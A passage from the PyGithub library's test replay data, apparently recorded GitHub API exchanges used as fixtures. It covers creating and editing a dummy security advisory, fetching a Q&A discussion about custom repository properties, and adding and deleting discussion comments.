h_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":0,"subscribers_count":2} https POST api.github.com None /repos/JLLeitschuh/code-sandbox/security-advisories {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"summary": "A test editing a GHSA via the API with only a single manipulation", "description": "This is a detailed description of this advisories impact and patches.", "cve_id": "CVE-2000-00000", "vulnerabilities": [{"package": {"ecosystem": "npm", "name": "b-package"}, "patched_versions": "4.0.5", "vulnerable_functions": ["function-name"], "vulnerable_version_range": "<=4.0.4"}], "cwe_ids": ["CWE-401", "CWE-502"], "credits": [{"login": "octocat", "type": "analyst"}, {"login": "JLLeitschuh", "type": "reporter"}], "severity": "high"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:58:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '4114'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a31f5441d8aa781166a22f0d05ea0ec8dc70e6456ff0225df5df9c0333f4bc42"'), ('Last-Modified', 'Tue, 04 Apr 2023 15:58:09 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('Location', 'https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-4wwp-8jp9-9233'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4938'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '62'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'DC9D:0C65:163092:2D54B9:642C4911')] {"ghsa_id":"GHSA-4wwp-8jp9-9233","cve_id":"CVE-2000-00000","url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-4wwp-8jp9-9233","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-4wwp-8jp9-9233","summary":"A test editing a GHSA via the API with only a single manipulation","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-4wwp-8jp9-9233","type":"GHSA"},{"value":"CVE-2000-00000","type":"CVE"}],"state":"draft","created_at":"2023-04-04T15:58:09Z","updated_at":"2023-04-04T15:58:09Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"b-package"},"vulnerable_version_range":"<=4.0.4","patched_versions":"4.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":null,"score":null},"cwes":[{"cwe_id":"CWE-401","name":"Missing Release of Memory after Effective Lifetime"},{"cwe_id":"CWE-502","name":"Deserialization of Untrusted Data"}],"cwe_ids":["CWE-401","CWE-502"],"credits":[{"login":"octocat","type":"analyst"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"analyst","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} https PATCH api.github.com None /repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-4wwp-8jp9-9233 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"description": "A modified description"} 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:58:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fef308c476647908c463eda6f0aa4fe2a8f8d6f4ce1d2c6876117950e09c7ac0"'), ('Last-Modified', 'Tue, 04 Apr 2023 15:58:09 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4937'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '63'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DC9E:51F2:5A8119:B88754:642C4911')] {"ghsa_id":"GHSA-4wwp-8jp9-9233","cve_id":"CVE-2000-00000","url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-4wwp-8jp9-9233","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-4wwp-8jp9-9233","summary":"A test editing a GHSA via the API with only a single manipulation","description":"A modified description","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-4wwp-8jp9-9233","type":"GHSA"},{"value":"CVE-2000-00000","type":"CVE"}],"state":"draft","created_at":"2023-04-04T15:58:09Z","updated_at":"2023-04-04T15:58:09Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"b-package"},"vulnerable_version_range":"<=4.0.4","patched_versions":"4.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":null,"score":null},"cwes":[{"cwe_id":"CWE-401","name":"Missing Release of Memory after Effective Lifetime"},{"cwe_id":"CWE-502","name":"Deserialization of Untrusted Data"}],"cwe_ids":["CWE-401","CWE-502"],"credits":[{"login":"octocat","type":"analyst"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"analyst","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RepositoryDiscussion.setUp.txt0000644000175100001660000001743114756101563024247 0ustar00runnerdockerhttps POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($id: ID!) {\n node(id: $id) {\n __typename\n ... on Discussion {\n answer {\n author { login }\n body\n bodyHTML\n bodyText\n createdAt\n databaseId\n discussion { id }\n editor { login }\n id\n lastEditedAt\n updatedAt\n url\n }\n author { login }\n body\n bodyHTML\n bodyText\n category {\n createdAt\n description\n emoji\n emojiHTML\n id\n isAnswerable\n name\n repository { owner { login } name }\n slug\n updatedAt\n }\n comments(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n id\n }\n }\n createdAt\n databaseId\n editor { login }\n id\n labels(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n id\n name\n }\n }\n lastEditedAt\n number\n reactions(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n id\n }\n }\n repository {\n owner { login }\n name\n }\n title\n updatedAt\n url\n }\n }\n }\n ", "variables": {"id": "D_kwDOADYVqs4AaHoG"}} 200 [('Date', 'Tue, 17 Sep 2024 19:10:18 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4973'), ('X-RateLimit-Reset', '1726602697'), ('X-RateLimit-Used', '27'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F67:2B9D7D:35ACF2:3648DD:66E9D41A')] {"data":{"node":{"__typename":"Discussion","answer":{"author":{"login":"dawngerpony"},"body":"[This comment](https://github.com/PyGithub/PyGithub/issues/2895#issue-2118964108) contains the answer to your question:\r\n\r\n```python\r\nmy_repo.raw_data[\"custom_properties\"]\r\n```\r\n\r\n#2968 appears to add proper support for custom properties, but doesn't look like it's made it into a release yet.","bodyHTML":"

This comment contains the answer to your question:

\n
my_repo.raw_data[\"custom_properties\"]
\n

#2968 appears to add proper support for custom properties, but doesn't look like it's made it into a release yet.

","bodyText":"This comment contains the answer to your question:\nmy_repo.raw_data[\"custom_properties\"]\n#2968 appears to add proper support for custom properties, but doesn't look like it's made it into a release yet.","createdAt":"2024-08-23T06:36:50Z","databaseId":10426644,"discussion":{"id":"D_kwDOADYVqs4AaHoG"},"editor":null,"id":"DC_kwDOADYVqs4AnxkU","lastEditedAt":null,"updatedAt":"2024-08-23T06:36:51Z","url":"https://github.com/PyGithub/PyGithub/discussions/2993#discussioncomment-10426644"},"author":{"login":"heitorPB"},"body":"What is the equivalent of `https://api.github.com/repos/OWNER/REPO/properties/values`? I'm interested in getting/setting custom properties for my repos. I can do that with `curl`, but couldn't find a way to do it via this project.\r\n\r\nDocs here: [Get all custom property values for a repository](https://docs.github.com/en/rest/repos/custom-properties?apiVersion=2022-11-28#get-all-custom-property-values-for-a-repository).","bodyHTML":"

What is the equivalent of https://api.github.com/repos/OWNER/REPO/properties/values? I'm interested in getting/setting custom properties for my repos. I can do that with curl, but couldn't find a way to do it via this project.

\n

Docs here: Get all custom property values for a repository.

","bodyText":"What is the equivalent of https://api.github.com/repos/OWNER/REPO/properties/values? I'm interested in getting/setting custom properties for my repos. I can do that with curl, but couldn't find a way to do it via this project.\nDocs here: Get all custom property values for a repository.","category":{"createdAt":"2020-12-08T23:29:13Z","description":"Ask the community for help","emoji":":pray:","emojiHTML":"
🙏
","id":"MDE4OkRpc2N1c3Npb25DYXRlZ29yeTMyMDI5MDYx","isAnswerable":true,"name":"Q&A","repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"slug":"q-a","updatedAt":"2020-12-08T23:29:13Z"},"comments":{"totalCount":2,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wOC0yM1QwODozNjo1MCswMjowMM4AnxkU","endCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wOC0yOVQxODowMTowMCswMjowMM4AoA2V","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AnxkU"},{"id":"DC_kwDOADYVqs4AoA2V"}]},"createdAt":"2024-06-21T13:11:38Z","databaseId":6846982,"editor":null,"id":"D_kwDOADYVqs4AaHoG","labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"lastEditedAt":null,"number":2993,"reactions":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"How to get a list of custom repository properties?","updatedAt":"2024-08-29T16:01:00Z","url":"https://github.com/PyGithub/PyGithub/discussions/2993"}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RepositoryDiscussion.testAddAndDeleteComment.txt0000644000175100001660000003123314756101563027624 0ustar00runnerdockerhttps POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($id: ID!) {\n node(id: $id) {\n __typename\n ... on Discussion { id }\n }\n }\n ", "variables": {"id": "D_kwDOADYVqs4AaHoG"}} 200 [('Date', 'Wed, 18 Sep 2024 09:55:02 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'public_repo, read:discussion, read:org, user:follow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4978'), ('X-RateLimit-Reset', '1726656664'), ('X-RateLimit-Used', '22'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FA0:38937:5DC62D:5EA454:66EAA376')] {"data":{"node":{"__typename":"Discussion","id":"D_kwDOADYVqs4AaHoG"}}} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "mutation Mutation($input: AddDiscussionCommentInput!) { addDiscussionComment(input: $input) { comment { id body } } }", "variables": {"input": {"body": "test comment", "discussionId": "D_kwDOADYVqs4AaHoG", "replyToId": null}}} 200 [('Date', 'Wed, 18 Sep 2024 09:55:03 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'public_repo, read:discussion, read:org, user:follow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1726656664'), ('X-RateLimit-Used', '23'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FD6:2E4B5D:5DDE95:5EBC96:66EAA376')] {"data":{"addDiscussionComment":{"comment":{"id":"DC_kwDOADYVqs4AovYk","body":"test comment"}}}} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "mutation Mutation($input: AddDiscussionCommentInput!) { addDiscussionComment(input: $input) { comment { id body } } }", "variables": {"input": {"body": "test reply", "discussionId": "D_kwDOADYVqs4AaHoG", "replyToId": "DC_kwDOADYVqs4AovYk"}}} 200 [('Date', 'Wed, 18 Sep 2024 09:55:03 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'public_repo, read:discussion, read:org, user:follow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4976'), ('X-RateLimit-Reset', '1726656664'), ('X-RateLimit-Used', '24'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FB4:12DC96:59403B:5A1DF2:66EAA377')] {"data":{"addDiscussionComment":{"comment":{"id":"DC_kwDOADYVqs4AovYl","body":"test reply"}}}} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "mutation Mutation($input: AddDiscussionCommentInput!) { addDiscussionComment(input: $input) { comment { id body } } }", "variables": {"input": {"body": "test reply by string id", "discussionId": "D_kwDOADYVqs4AaHoG", "replyToId": "DC_kwDOADYVqs4AovYk"}}} 200 [('Date', 'Wed, 18 Sep 2024 09:55:04 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'public_repo, read:discussion, read:org, user:follow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4975'), ('X-RateLimit-Reset', '1726656664'), ('X-RateLimit-Used', '25'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FCC:385EF9:238109:23DAE5:66EAA377')] {"data":{"addDiscussionComment":{"comment":{"id":"DC_kwDOADYVqs4AovYm","body":"test reply by string id"}}}} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "mutation Mutation($input: DeleteDiscussionCommentInput!) { deleteDiscussionComment(input: $input) { comment { id } } }", "variables": {"input": {"id": "DC_kwDOADYVqs4AovYm"}}} 200 [('Date', 'Wed, 18 Sep 2024 09:55:04 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'public_repo, read:discussion, read:org, user:follow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4974'), ('X-RateLimit-Reset', '1726656664'), ('X-RateLimit-Used', '26'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FEE:319EE5:223AF7A:22D58C8:66EAA378')] {"data":{"deleteDiscussionComment":{"comment":{"id":"DC_kwDOADYVqs4AovYm"}}}} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "mutation Mutation($input: DeleteDiscussionCommentInput!) { deleteDiscussionComment(input: $input) { comment { id } } }", "variables": {"input": {"id": "DC_kwDOADYVqs4AovYl"}}} 200 [('Date', 'Wed, 18 Sep 2024 09:55:05 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'public_repo, read:discussion, read:org, user:follow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4973'), ('X-RateLimit-Reset', '1726656664'), ('X-RateLimit-Used', '27'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, 